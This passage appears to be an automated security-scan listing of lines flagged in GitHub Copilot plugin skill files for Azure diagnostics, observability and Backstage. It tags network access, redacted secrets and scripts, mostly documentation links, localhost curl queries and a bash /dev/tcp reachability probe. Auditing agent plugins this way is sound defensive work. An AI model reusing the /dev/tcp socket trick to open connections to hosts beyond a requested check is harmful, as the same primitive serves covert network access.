    ( exec 3<>"/dev/tcp/$host/$port" ) >/dev/null 2>&1 &
  • Network accessline 132
    # ── HTTPS reachability ──────────────────────────────────────────────────────── # On success the namespace returns an Atom feed or HTTP 401 — either proves the # endpoint is reachable. A connection failure (curl exit != 0) means blocked.
  • Network accessline 134
    # endpoint is reachable. A connection failure (curl exit != 0) means blocked.
  • Network accessline 135
    https_result() {     if ! command -v curl >/dev/null 2>&1; then
  • Network accessline 136
    if ! command -v curl >/dev/null 2>&1; then
  • Network accessline 138
    if probe_tcp "$FQDN" 443; then             echo "reachable (TCP 443 open; curl unavailable for HTTP check)"
  • Network accessline 139
    echo "reachable (TCP 443 open; curl unavailable for HTTP check)"
  • Network accessline 144
    fi     local code     code=$(curl -s -o /dev/null -m 15 -w '%{http_code}' "https://$FQDN/" 2>/dev/null)
  • Network accessline 145
    local code     code=$(curl -s -o /dev/null -m 15 -w '%{http_code}' "https://$FQDN/" 2>/dev/null)     local rc=$?
  • Network accessline 146
    code=$(curl -s -o /dev/null -m 15 -w '%{http_code}' "https://$FQDN/" 2>/dev/null)
  • Network accessline 149
    echo "reachable (HTTP $code)"     else         echo "BLOCKED (curl exit $rc)"
  • Network accessline 150
    else         echo "BLOCKED (curl exit $rc)"     fi
  • Network accessline 151
    echo "BLOCKED (curl exit $rc)"

harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/aks/networking.md

  • Network accessline 3
    For CNI-specific issues, check CNI pod health and review [AKS networking concepts](https://learn.microsoft.com/azure/aks/concepts-network).
  • Network accessline 15
    # This creates a temporary pod. Prefer read-only checks first. # Only use it after the user explicitly approves a mutating test. kubectl run netdebug --image=curlimages/curl -it --rm -n <ns> -- \
  • Network accessline 16
    # Only use it after the user explicitly approves a mutating test. kubectl run netdebug --image=curlimages/curl -it --rm -n <ns> -- \   curl -sv http://<service>.<ns>.svc.cluster.local:<port>/healthz
  • Network accessline 17
    kubectl run netdebug --image=curlimages/curl -it --rm -n <ns> -- \
  • Network accessline 18
    curl -sv http://<service>.<ns>.svc.cluster.local:<port>/healthz

harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/aks/node-issues.md

  • Network accessline 97
    See [AKS resource reservations](https://learn.microsoft.com/azure/aks/concepts-clusters-workloads#resource-reservations) for allocatable math.

harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/aks/spot-and-zone-issues.md

  • Network accessline 64
    Use `Premium_ZRS` or `StandardSSD_ZRS` in custom StorageClasses to reduce zonal PVC conflicts. See [AKS storage best practices](https://learn.microsoft.com/azure/aks/operator-best-practices-storage).

harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/compute/references/cannot-connect-to-vm.md

  • Network accessline 48
    [Windows RDP]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-connection
  • Network accessline 49
    [Linux SSH]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection
  • Network accessline 50
    [Windows VM hub]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/welcome-virtual-machines-windows
  • Network accessline 51
    [Linux VM hub]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/welcome-virtual-machines-linux

harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/compute/references/credential-auth-errors.md

  • Dangerous shell operationline 16
    | sudo prompt fails | Linux | Fix sudoers via Run Command or Serial Console | [SSH overview] |
  • Network accessline 33
    [Reset RDP]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/reset-rdp
  • Network accessline 34
    [RDP overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-connection
  • Network accessline 35
    [RDP errors]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-specific-rdp-errors
  • Network accessline 36
    [CredSSP]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/credssp-encryption-oracle-remediation
  • Network accessline 37
    [SSH detail]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/detailed-troubleshoot-ssh-connection
  • Network accessline 38
    [SSH overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection

harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/compute/references/firewall-blocking.md

  • Network accessline 36
    [Guest firewall]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/guest-os-firewall-blocking-inbound-traffic
  • Network accessline 37
    [Firewall rule]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/enable-disable-firewall-rule-guest-os
  • Network accessline 38
    [Offline firewall]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/disable-guest-os-firewall-windows
  • Network accessline 39
    [SSH overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection
  • Network accessline 40
    [Linux repair]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/repair-linux-vm-using-azure-virtual-machine-repair-commands

harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/compute/references/network-connectivity.md

  • Network accessline 36
    [RDP NSG]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-nsg-problem
  • Network accessline 37
    [Traffic filter]: https://learn.microsoft.com/en-us/azure/network-watcher/diagnose-vm-network-traffic-filtering-problem
  • Network accessline 38
    [Routing]: https://learn.microsoft.com/en-us/azure/network-watcher/diagnose-vm-network-routing-problem
  • Network accessline 39
    [Public IP]: https://learn.microsoft.com/en-us/azure/virtual-network/ip-services/public-ip-addresses
  • Network accessline 40
    [RDP NIC]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-nic-disabled
  • Network accessline 41
    [Reset NIC]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/reset-network-interface
  • Network accessline 42
    [DHCP]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-dhcp-disabled
  • Network accessline 43
    [SSH overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection

harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/compute/references/rdp-connectivity.md

  • Network accessline 34
    [RDP NSG]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-nsg-problem
  • Network accessline 35
    [Guest firewall]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/guest-os-firewall-blocking-inbound-traffic
  • Network accessline 36
    [RDP errors]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-specific-rdp-errors
  • Network accessline 37
    [Internal]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-internal-error
  • Network accessline 38
    [General]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-general-error
  • Network accessline 39
    [Detailed]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/detailed-troubleshoot-rdp
  • Network accessline 40
    [RDP overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-connection
  • Network accessline 41
    [Event IDs]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/event-id-troubleshoot-vm-rdp-connecton
  • Network accessline 42
    [RDP NIC]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-nic-disabled

harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/compute/references/rdp-service-config.md

  • Network accessline 7
    | Symptom                                | Solution                                                               | Documentation                                                                                                               
  • Network accessline 8
    | -------------------------------------- | ---------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------
  • Network accessline 9
    | TermService not running                | Start the service and set to Automatic                                 | [Reset RDP service](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/reset-rdp)                
  • Network accessline 10
    | RDP port changed from 3389             | Reset port or update NSG to allow the custom port                      | [Detailed RDP troubleshooting](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/detailed-troubl
  • Network accessline 11
    | RDP disabled (fDenyTSConnections = 1)  | Reset RDP config via CLI or Portal                                     | [Reset RDP service](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/reset-rdp)                
  • Network accessline 12
    | TLS/SSL certificate expired or corrupt | Delete cert and restart TermService to regenerate                      | [RDP internal error](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-internal
  • Network accessline 13
    | NLA/Security Layer mismatch            | Temporarily disable NLA for recovery                                   | [RDP general error](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-general-e
  • Network accessline 14
    | GPO overriding local RDP settings      | Check `HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services` | [Detailed RDP troubleshooting](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/detailed-troubl
  • Network accessline 15
    | RDS licensing expired                  | Remove RDSH role or configure license server                           | [Specific RDP errors](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-specific-rd

harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/compute/references/ssh-connectivity.md

  • Network accessline 34
    [SSH overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection
  • Network accessline 35
    [SSH detail]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/detailed-troubleshoot-ssh-connection
  • Network accessline 36
    [Debian]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/cannot-connect-debian-linux
  • Network accessline 37
    [SELinux]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/linux-selinux-troubleshooting
  • Network accessline 38
    [UEFI]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/azure-linux-vm-uefi-boot-failures

harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/compute/references/vm-agent-not-responding.md

  • Network accessline 9
    | Symptom                                                          | OS      | Solution                                                 | Documentation                                                                                         
  • Network accessline 10
    | ---------------------------------------------------------------- | ------- | -------------------------------------------------------- | ------------------------------------------------------------------------------------------------------
  • Network accessline 11
    | Run Command times out                                            | Windows | VM agent may be down — use Serial Console instead        | [Serial Console — Windows](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windo
  • Network accessline 12
    | Run Command times out                                            | Linux   | VM agent may be down — use Serial Console instead        | [Serial Console — Linux](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/s
  • Network accessline 13
    | Password reset fails via Portal/CLI                              | Windows | VMAccess extension can't communicate — use offline reset | [Reset password without agent](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/w
  • Network accessline 14
    | Password/key reset fails via Portal/CLI                          | Linux   | VMAccess extension can't communicate — use Serial Console | [Serial Console — Linux](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/
  • Network accessline 15
    | VM not booting (Boot Diagnostics shows BSOD/stuck)               | Windows | OS-level issue — use repair VM for offline fix           | [Repair Windows VM](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/repa
  • Network accessline 16
    | VM not booting (Boot Diagnostics shows kernel panic/stuck)       | Linux   | Use repair VM for offline Linux disk fix                 | [Repair Linux VM](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/repair-l
  • Network accessline 17
    | VMAccess extension error on domain controller                    | Windows | VMAccess doesn't support DCs — use Serial Console        | [Serial Console — Windows](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windo

harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/messaging/auth-best-practices.md

  • Network accessline 3
    > Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 122
    - [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview)
  • Network accessline 123
    - [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview)
  • Network accessline 124
    - [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview)
  • Network accessline 125
    - [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 126
    - [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme)
  • Network accessline 127
    - [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme)
  • Network accessline 128
    - [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)

harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/messaging/azure-eventhubs-dotnet.md

  • Network accessline 3
    Package: `Azure.Messaging.EventHubs` | [README](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/eventhub/Azure.Messaging.EventHubs/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/eventhub/A
  • Network accessline 27
    Configure via `EventHubsRetryOptions` when creating the client. See [Configuring retry thresholds sample](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/eventhub/Azure.Messaging.EventHubs/samples).
  • Network accessline 31
    - **Socket exhaustion**: Treat clients as singletons. Share `EventHubConnection` across clients if needed. Always call `CloseAsync` or `DisposeAsync`. - **HTTP 412/409 from storage**: Normal during checkpoint store operations — not an error
  • Network accessline 32
    - **HTTP 412/409 from storage**: Normal during checkpoint store operations — not an error. - **Partitions closing frequently**: Expected when scaling. If persists >5 min without scaling, investigate. See [Troubleshooting Guide](https://gith
  • Network accessline 33
    - **Partitions closing frequently**: Expected when scaling. If persists >5 min without scaling, investigate. See [Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/eventhub/Azure.Messaging.EventHubs/TROUBLESHOO

harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/messaging/azure-eventhubs-java.md

  • Network accessline 3
    Package: `azure-messaging-eventhubs` | [README](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/eventhubs/azure-messaging-eventhubs/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/eventhu
  • Network accessline 5
    > ⚠<U+FE0F> **Note:** The detailed Java troubleshooting guide has moved to [Microsoft Learn](https://learn.microsoft.com/azure/developer/java/sdk/troubleshooting-messaging-event-hubs-overview).
  • Network accessline 29
    See [Java SDK logging docs](https://learn.microsoft.com/azure/developer/java/sdk/troubleshooting-messaging-event-hubs-overview) for details.

harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/messaging/azure-eventhubs-js.md

  • Network accessline 3
    Package: `@azure/event-hubs` | [README](https://github.com/Azure/azure-sdk-for-js/blob/main/sdk/eventhub/event-hubs/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-js/blob/main/sdk/eventhub/event-hubs/TROUBLESHOOTING

harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/messaging/azure-eventhubs-py.md

  • Network accessline 3
    Package: `azure-eventhub` | [README](https://github.com/Azure/azure-sdk-for-python/blob/main/sdk/eventhub/azure-eventhub) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-python/blob/main/sdk/eventhub/azure-eventhub/TRO

harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/messaging/azure-servicebus-dotnet.md

  • Network accessline 3
    Package: `Azure.Messaging.ServiceBus` | [README](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/servicebus/Azure.Messaging.ServiceBus/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/servic
  • Network accessline 12
    | `ServiceBusException` (QuotaExceeded) | Too many concurrent receives | Reduce receivers or use batch receives | | `ServiceBusException` (MessageSizeExceeded) | Message or batch too large | Reduce payload. Premium tier supports individual 
  • Network accessline 13
    | `ServiceBusException` (MessageSizeExceeded) | Message or batch too large | Reduce payload. Premium tier supports individual messages up to 100MB. Batch limit is artificially computed on the client from the max message size sent by the ser
  • Network accessline 14
    | `ServiceBusException` (ServiceBusy) | Request throttled | Auto-retried with 10s backoff. See [throttling docs](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-throttling) |

harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/messaging/azure-servicebus-java.md

  • Network accessline 3
    Package: `azure-messaging-servicebus` | [README](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/servicebus/azure-messaging-servicebus/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/serv
  • Network accessline 30
    Even with prefetch disabled in the builder, `receiveMessages` API can re-enable prefetch implicitly. See [SyncReceiveAndPrefetch](https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/servicebus/azure-messaging-servicebus/docs/SyncRecei
  • Network accessline 45
    See [Java SDK logging docs](https://learn.microsoft.com/azure/developer/java/sdk/troubleshooting-messaging-service-bus-overview) for details.

harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/messaging/azure-servicebus-js.md

  • Network accessline 3
    Package: `@azure/service-bus` | [README](https://github.com/Azure/azure-sdk-for-js/blob/main/sdk/servicebus/service-bus/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-js/blob/main/sdk/servicebus/service-bus/TROUBLES

harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/messaging/azure-servicebus-py.md

  • Network accessline 3
    Package: `azure-servicebus` | [README](https://github.com/Azure/azure-sdk-for-python/blob/main/sdk/servicebus/azure-servicebus/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-python/blob/main/sdk/servicebus/azure-ser

harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/messaging/service-troubleshooting.md

  • Network accessline 9
    1. **Verify connection string** — Get from Azure portal. For **Event Hubs (Kafka endpoint)** clients, also check `producer.config` / `consumer.config`. 2. **Check service outage** — [Azure status page](https://azure.status.microsoft/status)
  • Network accessline 10
    2. **Check service outage** — [Azure status page](https://azure.status.microsoft/status)
  • Network accessline 80
    - [Event Hubs troubleshooting guide](https://learn.microsoft.com/azure/event-hubs/troubleshooting-guide)
  • Network accessline 81
    - [Service Bus troubleshooting guide](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-troubleshooting-guide)
  • Network accessline 82
    - [Event Hubs quotas and limits](https://learn.microsoft.com/azure/event-hubs/event-hubs-quotas)
  • Network accessline 83
    - [Service Bus quotas and limits](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-quotas)
  • Network accessline 84
    - [Event Hubs AMQP troubleshooting](https://learn.microsoft.com/azure/event-hubs/event-hubs-amqp-troubleshoot)
  • Network accessline 85
    - [Service Bus AMQP troubleshooting](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-amqp-troubleshoot)
  • Network accessline 86
    - [Event Hubs IP addresses and service tags](https://learn.microsoft.com/azure/event-hubs/troubleshooting-guide#what-ip-addresses-do-i-need-to-allow)
  • Network accessline 87
    - [Service Bus IP addresses](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-faq#what-ip-addresses-do-i-need-to-add-to-allowlist-)

harness/github-copilot/plugins/azure-observability-operations/skills/azure-observability-stack/SKILL.md

  • Network accessline 31
    # Add Helm repos helm repo add prometheus-community https://prometheus-community.github.io/helm-charts
  • Network accessline 32
    helm repo add prometheus-community https://prometheus-community.github.io/helm-charts
  • Network accessline 79
    # Check Prometheus targets curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length'
  • Network accessline 80
    curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length'
  • Network accessline 83
    [Credential-related source omitted]
  • Network accessline 85
    curl -s -u "${GRAFANA_USER}:${GRAFANA_PASSWORD}" http://localhost:3000/api/datasources | jq '.[].name'
  • Network accessline 98
    # Query Prometheus API curl -s http://localhost:9090/api/v1/query?query=up | jq '.data.result'
  • Network accessline 99
    curl -s http://localhost:9090/api/v1/query?query=up | jq '.data.result'
  • Network accessline 101
    # Check targets curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length'
  • Network accessline 102
    curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length'
  • Network accessline 114
    [Credential-related source omitted]
  • Network accessline 116
    curl -s -u "${GRAFANA_USER}:${GRAFANA_PASSWORD}" http://localhost:3000/api/datasources | jq '.[].name'
  • Network accessline 124
    # List active alerts curl -s http://localhost:9093/api/v2/alerts | jq '.[].labels.alertname'
  • Network accessline 125
    curl -s http://localhost:9093/api/v2/alerts | jq '.[].labels.alertname'

harness/github-copilot/plugins/azure-observability-operations/skills/azure-observability-stack/references/troubleshooting.md

  • Network accessline 14
    # Check for scrape errors curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets[] | select(.health != "up") | {job: .labels.job, health, lastError}'
  • Network accessline 15
    curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets[] | select(.health != "up") | {job: .labels.job, health, lastError}'

harness/github-copilot/plugins/azure-observability-operations/skills/azure-reliability/references/configure-health-probes.md

  • Network accessline 27
    3. **Two endpoints, not one** — a fast `/health` for the load balancer, and an optional `/health/deep` for on-call diagnostics. 4. **For Container Apps, both liveness AND readiness** — liveness alone restarts the container without taking it
  • Network accessline 29
    5. **Test the endpoint** before relying on it: `curl https://<app-url>/api/health`.

harness/github-copilot/plugins/azure-observability-operations/skills/azure-reliability/references/configure-multi-region.md

  • Network accessline 276
    output endpoint string = 'https://${endpoint.properties.hostName}'
  • Access to secretsline 441
    [Credential-related source omitted]
  • Access to secretsline 442
    [Credential-related source omitted]
  • Access to secretsline 448
    [Credential-related source omitted]
  • Access to secretsline 449
    [Credential-related source omitted]
  • Access to secretsline 456
    [Credential-related source omitted]
  • Access to secretsline 457
    [Credential-related source omitted]
  • Access to secretsline 464
    [Credential-related source omitted]
  • Access to secretsline 467
    [Credential-related source omitted]
  • Access to secretsline 468
    [Credential-related source omitted]
  • Network accessline 563
    # Check Front Door endpoint is responding curl -I https://<front-door-name>-endpoint.z01.azurefd.net/api/health
  • Network accessline 564
    curl -I https://<front-door-name>-endpoint.z01.azurefd.net/api/health

harness/github-copilot/plugins/azure-observability-operations/skills/azure-reliability/references/health-probe-checks.md

  • Network accessline 68
    3. **Two endpoints, not one** — fast `/health` for the load balancer, optional `/health/deep` for on-call diagnostics. 4. **For Container Apps, both liveness AND readiness** — liveness alone restarts the container without taking it out of r
  • Network accessline 70
    5. **Test the endpoint** before relying on it: `curl https://<app-url>/api/health`.

harness/github-copilot/plugins/azure-observability-operations/skills/azure-reliability/references/services/app-service/reliability.md

  • Network accessline 59
    # Rules must be set via ARM PATCH (CLI doesn't expose autoHealRules directly) az rest --method patch \   --uri "https://management.azure.com/subscriptions/{sub}/resourceGroups/{rg}/providers/Microsoft.Web/sites/{app}/config/web?api-version=
  • Network accessline 60
    az rest --method patch    --uri "https://management.azure.com/subscriptions/{sub}/resourceGroups/{rg}/providers/Microsoft.Web/sites/{app}/config/web?api-version=2022-03-01"
  • Network accessline 61
    --uri "https://management.azure.com/subscriptions/{sub}/resourceGroups/{rg}/providers/Microsoft.Web/sites/{app}/config/web?api-version=2022-03-01" \

harness/github-copilot/plugins/azure-observability-operations/skills/azure-reliability/references/services/functions/reliability.md

  • Network accessline 197
    - [Reliability in Azure Functions (Microsoft Learn)](https://learn.microsoft.com/en-us/azure/reliability/reliability-functions)

harness/github-copilot/plugins/backstage-expert/skills/app-frontend-system-migration/SKILL.md

  • Network accessline 4
    license: Apache-2.0 metadata:   source-repository: "https://github.com/backstage/backstage"
  • Network accessline 5
    metadata:   source-repository: "https://github.com/backstage/backstage"   source-commit: "eeac444a9aba7c107525d2a726851e907418c181"
  • Network accessline 6
    source-repository: "https://github.com/backstage/backstage"

harness/github-copilot/plugins/backstage-expert/skills/app-frontend-system-migration/references/upstream/SKILL.md

  • Network accessline 648
    - [App migration guide](https://backstage.io/docs/frontend-system/building-apps/migrating)
  • Network accessline 649
    - [Architecture overview](https://backstage.io/docs/frontend-system/architecture/index)
  • Network accessline 650
    - [Extension blueprints](https://backstage.io/docs/frontend-system/building-plugins/common-extension-blueprints)
  • Network accessline 651
    - [Installing plugins](https://backstage.io/docs/frontend-system/building-apps/installing-plugins)

harness/github-copilot/plugins/backstage-expert/skills/backstage-ai-catalog/SKILL.md

  • Network accessline 64
    - [AI in the Software Catalog](https://backstage.io/docs/ai/ai-in-the-catalog)

harness/github-copilot/plugins/backstage-expert/skills/backstage-authentication/SKILL.md

  • Network accessline 86
    - [Backstage authentication](https://backstage.io/docs/auth/)
  • Network accessline 87
    - [GitHub provider](https://backstage.io/docs/auth/github/provider)
  • Network accessline 88
    - [Microsoft Entra ID provider](https://backstage.io/docs/auth/microsoft/provider)

harness/github-copilot/plugins/backstage-expert/skills/backstage-catalog-db-performance/SKILL.md

  • Network accessline 4
    license: Apache-2.0 metadata:   source-repository: "https://github.com/backstage/backstage"
  • Network accessline 5
    metadata:   source-repository: "https://github.com/backstage/backstage"   source-commit: "eeac444a9aba7c107525d2a726851e907418c181"
  • Network accessline 6
    source-repository: "https://github.com/backstage/backstage"

harness/github-copilot/plugins/backstage-expert/skills/backstage-external-integrations/references/azure-devops.md

  • Network accessline 34
    - <https://backstage.io/docs/integrations/azure/locations>
  • Network accessline 35
    - <https://backstage.io/docs/integrations/azure/discovery>
  • Network accessline 36
    - <https://github.com/backstage/community-plugins/tree/main/workspaces/azure-devops>

harness/github-copilot/plugins/backstage-expert/skills/backstage-external-integrations/references/github.md

  • Network accessline 27
    First-party source: <https://backstage.io/docs/integrations/github/github-apps>.

harness/github-copilot/plugins/backstage-expert/skills/backstage-external-integrations/references/servicenow.md

  • Network accessline 32
    - <https://github.com/backstage/community-plugins/tree/main/workspaces/servicenow>
  • Network accessline 33
    - <https://github.com/backstage/community-plugins/tree/main/workspaces/scaffolder-backend-module-servicenow>

harness/github-copilot/plugins/backstage-expert/skills/backstage-framework/SKILL.md

  • Network accessline 61
    - [Backstage framework index](https://backstage.io/docs/framework/generated-index)
  • Network accessline 62
    - [Stable API reference](https://backstage.io/api/stable)
  • Network accessline 63
    - [Core backend service APIs](https://backstage.io/docs/backend-system/core-services/)

harness/github-copilot/plugins/backstage-expert/skills/backstage-kubernetes/SKILL.md

  • Network accessline 67
    - [Backstage Kubernetes](https://backstage.io/docs/features/kubernetes/)
  • Network accessline 68
    - [Kubernetes configuration](https://backstage.io/docs/features/kubernetes/configuration)

harness/github-copilot/plugins/backstage-expert/skills/backstage-mcp-actions/SKILL.md

  • Network accessline 68
    - [MCP Actions Backend](https://backstage.io/docs/ai/mcp-actions)
  • Network accessline 69
    - [Well-known actions](https://backstage.io/docs/ai/well-known-actions)
  • Network accessline 70
    - [Actions Registry](https://backstage.io/docs/backend-system/core-services/actions-registry)

harness/github-copilot/plugins/backstage-expert/skills/backstage-notifications/SKILL.md

  • Network accessline 57
    - [Backstage Notifications](https://backstage.io/docs/notifications/)
  • Network accessline 58
    - [Notification usage](https://backstage.io/docs/notifications/usage)
  • Network accessline 59
    - [Notification processors](https://backstage.io/docs/notifications/processors)

harness/github-copilot/plugins/backstage-expert/skills/backstage-permissions/SKILL.md

  • Network accessline 65
    - [Permission framework overview](https://backstage.io/docs/permissions/overview)
  • Network accessline 66
    - [Plugin author permissions](https://backstage.io/docs/permissions/plugin-authors/01-setup)

harness/github-copilot/plugins/backstage-expert/skills/backstage-plugin-builder/references/official-docs.md

  • Network accessline 5
    | Topic | Official source | | --- | --- | | Standalone Backstage app | <https://backstage.io/docs/getting-started/> |
  • Network accessline 6
    | --- | --- | | Standalone Backstage app | <https://backstage.io/docs/getting-started/> | | New frontend plugins | <https://github.com/backstage/backstage/blob/master/docs/frontend-system/building-plugins/01-index.md> |
  • Network accessline 7
    | Standalone Backstage app | <https://backstage.io/docs/getting-started/> |
  • Network accessline 8
    | New frontend plugins | <https://github.com/backstage/backstage/blob/master/docs/frontend-system/building-plugins/01-index.md> |
  • Network accessline 9
    | New backend plugins and modules | <https://github.com/backstage/backstage/blob/master/docs/backend-system/building-plugins-and-modules/01-index.md> |
  • Network accessline 10
    | Legacy plugin creation reference | <https://backstage.io/docs/plugins/create-a-plugin/> |
  • Network accessline 11
    | Plugin structure reference | <https://backstage.io/docs/plugins/structure-of-a-plugin/> |
  • Network accessline 12
    | Composability and routing reference | <https://backstage.io/docs/plugins/composability/> |
  • Network accessline 13
    | Community plugin contribution | <https://github.com/backstage/community-plugins/blob/main/CONTRIBUTING.md> |
  • Network accessline 14
    | Backstage repository contribution | <https://github.com/backstage/backstage/blob/master/CONTRIBUTING.md> |

harness/github-copilot/plugins/backstage-expert/skills/backstage-plugin-builder/scripts/create_backstage_plugin_artifacts.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/plugins/backstage-expert/skills/backstage-plugin-builder/scripts/test_validate_backstage_plugin.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/plugins/backstage-expert/skills/backstage-plugin-builder/scripts/validate_backstage_plugin.py

  • Executable scriptline 1
    #!/usr/bin/env python3

